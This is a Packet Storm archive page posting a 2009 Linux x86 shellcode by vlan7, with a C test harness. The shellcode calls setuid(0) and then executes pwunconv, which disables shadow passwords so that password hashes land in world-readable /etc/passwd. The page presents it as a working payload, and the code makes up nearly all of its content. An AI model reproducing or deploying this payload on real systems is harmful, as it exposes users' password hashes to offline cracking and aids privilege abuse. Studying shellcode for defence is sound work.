exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Disable Shadowing Shellcode

Disable Shadowing Shellcode
Posted Jul 6, 2009
Authored by vlan7 | Site vlan7.blogspot.com

This shellcode disables shadowing on Linux sending all passwords to /etc/passwd.

tags | shellcode
systems | linux
SHA-256 | efc0efd9feadbafc48fa0b35a0aa5538a00d019eb428a3387ae2c12b99c3f28b

Disable Shadowing Shellcode

Change Mirror Download
#include <stdio.h>

const char sc[]= "\x31\xdb" //xor ebx,ebx
"\x8d\x43\x17" //LEA eax,[ebx + 0x17] /LEA is FASTER than push and pop!
"\x99" //cdq
"\xcd\x80" //int 80 //setuid(0) shouldn't returns -1 right? ;)
"\xb0\x0b" //mov al,0bh
"\x52" //push edx /Termina la cadena con un 0
"\x68\x63\x6f\x6e\x76" //push dword "conv"
"\x68\x70\x77\x75\x6e" //push dword "pwun"
"\x68\x62\x69\x6e\x2f" //push dword "bin/"
"\x68\x73\x72\x2f\x73" //push dword "sr/s"
"\x68\x2f\x2f\x2f\x75" //push dword "///u"
"\x89\xe3" //mov ebx,esp
"\x89\xd1" //mov ecx,edx
"\xcd\x80"; //int 80h

void main()
{
printf("\n~ This shellcode disables shadowing on a linux system ~"
"\n\n\t ~ Coded by vlan7 ~"
"\n\t ~ http://vlan7.blogspot.com ~"
"\n\n ~ Date: 4/Jul/2009"

"\n\tYou'll have the passwords stored in /etc/passwd."
"\n\tFor undo purposes use the pwconv command."
"\n\t ~ Cheers go to: Wadalbertia"
"\n\t ~ Shellcode Size: %d bytes\n\n",
sizeof(sc)-1);

(*(void (*)()) sc)();
}
Login or Register to add favorites

File Archive:

August 2022

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Aug 1st
    20 Files
  • 2
    Aug 2nd
    4 Files
  • 3
    Aug 3rd
    6 Files
  • 4
    Aug 4th
    55 Files
  • 5
    Aug 5th
    16 Files
  • 6
    Aug 6th
    0 Files
  • 7
    Aug 7th
    0 Files
  • 8
    Aug 8th
    13 Files
  • 9
    Aug 9th
    0 Files
  • 10
    Aug 10th
    0 Files
  • 11
    Aug 11th
    0 Files
  • 12
    Aug 12th
    0 Files
  • 13
    Aug 13th
    0 Files
  • 14
    Aug 14th
    0 Files
  • 15
    Aug 15th
    0 Files
  • 16
    Aug 16th
    0 Files
  • 17
    Aug 17th
    0 Files
  • 18
    Aug 18th
    0 Files
  • 19
    Aug 19th
    0 Files
  • 20
    Aug 20th
    0 Files
  • 21
    Aug 21st
    0 Files
  • 22
    Aug 22nd
    0 Files
  • 23
    Aug 23rd
    0 Files
  • 24
    Aug 24th
    0 Files
  • 25
    Aug 25th
    0 Files
  • 26
    Aug 26th
    0 Files
  • 27
    Aug 27th
    0 Files
  • 28
    Aug 28th
    0 Files
  • 29
    Aug 29th
    0 Files
  • 30
    Aug 30th
    0 Files
  • 31
    Aug 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Hosting By
Rokasec
close